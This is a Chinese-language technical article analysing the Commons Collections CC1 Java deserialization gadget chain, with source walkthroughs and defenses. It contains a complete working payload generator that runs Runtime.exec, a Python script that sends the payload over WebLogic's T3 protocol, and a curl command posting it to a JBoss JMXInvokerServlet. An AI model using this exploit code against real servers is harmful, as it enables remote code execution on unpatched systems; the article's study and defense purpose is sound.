java反序列化:CC1链深度剖析
CC1链是Java反序列化漏洞研究的里程碑,由安全研究员Chris Frohoff在2015年提出。作为最早公开的完整利用链,它开启了Java安全研究的新时代。本文将深入解析其技术原理、实现细节和防御方案。
一、CC1链技术背景
1.1 漏洞影响范围
- 组件依赖:Commons Collections ≤ 3.2.1
- JDK版本:Java ≤ 8u71(后续版本修复触发点)
- 应用场景:WebLogic、WebSphere、JBoss等中间件
1.2 漏洞核心组件
组件 | 作用 |
---|---|
AnnotationInvocationHandler | 反序列化入口点 |
LazyMap | 延迟执行触发机制 |
ChainedTransformer | 链式命令执行引擎 |
InvokerTransformer | 反射执行任意方法 |
二、漏洞利用链原理
2.1 完整调用链
ObjectInputStream.readObject()→ AnnotationInvocationHandler.readObject()→ Proxy.entrySet()→ AnnotationInvocationHandler.invoke()→ LazyMap.get()→ ChainedTransformer.transform()→ Runtime.exec()
2.2 核心触发点分析
// sun.reflect.annotation.AnnotationInvocationHandler
private void readObject(ObjectInputStream ois) {// ...for (Map.Entry<String, Object> e : memberValues.entrySet()) {// 触发entrySet()调用}
}
三、关键类源码解析
3.1 LazyMap - 延迟执行触发点
// org.apache.commons.collections.map.LazyMap
public Object get(Object key) {if (!map.containsKey(key)) {// 关键漏洞触发点Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);
}
3.2 ChainedTransformer - 命令执行链
// org.apache.commons.collections.functors.ChainedTransformer
public Object transform(Object object) {for (Transformer transformer : iTransformers) {object = transformer.transform(object);}return object;
}
3.3 InvokerTransformer - 反射执行器
// org.apache.commons.collections.functors.InvokerTransformer
public Object transform(Object input) {Method method = input.getClass().getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);
}
四、完整Payload构造
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;public class CC1Exploit {public static byte[] generatePayload(String cmd) throws Exception {// 1. 构造Transformer执行链Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})};// 2. 创建ChainedTransformerChainedTransformer chain = new ChainedTransformer(transformers);// 3. 创建LazyMapMap innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap, chain);// 4. 创建动态代理InvocationHandler handler = createHandler(lazyMap);// 5. 创建代理MapMap proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);// 6. 创建AnnotationInvocationHandlerInvocationHandler finalHandler = createHandler(proxyMap);// 7. 序列化PayloadByteArrayOutputStream baos = new ByteArrayOutputStream();try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {oos.writeObject(finalHandler);}return baos.toByteArray();}private static InvocationHandler createHandler(Map map) throws Exception {// 反射创建AnnotationInvocationHandlerClass<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> cons = aihClass.getDeclaredConstructor(Class.class, Map.class);cons.setAccessible(true);return (InvocationHandler) cons.newInstance(Override.class, map);}public static void main(String[] args) throws Exception {byte[] payload = generatePayload("calc.exe");// 反序列化触发try (ByteArrayInputStream bais = new ByteArrayInputStream(payload);ObjectInputStream ois = new ObjectInputStream(bais)) {ois.readObject();}}
}
五、关键技术点解析
5.1 动态代理触发机制
Map proxyMap = (Map) Proxy.newProxyInstance(...);
作用:将LazyMap封装为动态代理,确保调用任何Map方法时都会触发AnnotationInvocationHandler.invoke()
5.2 双重代理设计
5.3 触发时序控制
- 反序列化
AnnotationInvocationHandler1
- 触发
readObject()
中的entrySet()
调用 - 代理转发到
AnnotationInvocationHandler2.invoke()
- 调用
LazyMap.get()
- 执行
ChainedTransformer
命令链
六、利用方式详解
6.1 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "cmd /c calc.exe" > payload.bin
6.2 WebLogic T3协议利用
import socket
import structdef exploit(host, port, payload):# 建立T3连接sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((host, port))# 发送T3协议头sock.send(b"t3 12.2.1\nAS:255\nHL:19\n\n")# 构造攻击载荷payload_len = struct.pack(">I", len(payload))packet = b"\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff" packet += payload_len + payload# 发送攻击包sock.send(packet)sock.close()# 使用示例
with open("payload.bin", "rb") as f:exploit("192.168.1.100", 7001, f.read())
6.3 JBoss JMXInvokerServlet利用
curl http://target:8080/invoker/JMXInvokerServlet \--data-binary @payload.bin
七、防御解决方案
7.1 组件级修复
<!-- 升级Commons Collections -->
<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.4</version>
</dependency>
7.2 代码级防护
public class SecureObjectInputStream extends ObjectInputStream {private static final Set<String> BLACKLIST = new HashSet<>(Arrays.asList("org.apache.commons.collections.functors.InvokerTransformer","sun.reflect.annotation.AnnotationInvocationHandler"));protected Class<?> resolveClass(ObjectStreamClass desc)throws IOException, ClassNotFoundException {String className = desc.getName();if (BLACKLIST.contains(className)) {throw new InvalidClassException("Forbidden class: ", className);}return super.resolveClass(desc);}
}
7.3 JVM级防护
# 启用JEP 290过滤器
java -Djdk.serialFilter='\maxdepth=50;\maxarray=1000;\maxrefs=500;\!org.apache.commons.collections.**;\!sun.reflect.**;\!*' \-jar application.jar
八、技术总结
8.1 CC1链创新点
- 首次实现完整利用链:证明Java反序列化的实际危害
- 动态代理技术应用:解决触发点调用问题
- 反射绕过限制:实现Runtime的间接调用
- 多层封装设计:增强利用链的稳定性
8.2 漏洞影响
厂商 | 受影响产品 | 修复版本 |
---|---|---|
Oracle | WebLogic | 10.3.6.0 |
Red Hat | JBoss EAP | 6.4.0 |
IBM | WebSphere | 8.5.5 |
Apache | Tomcat | 8.0.36 |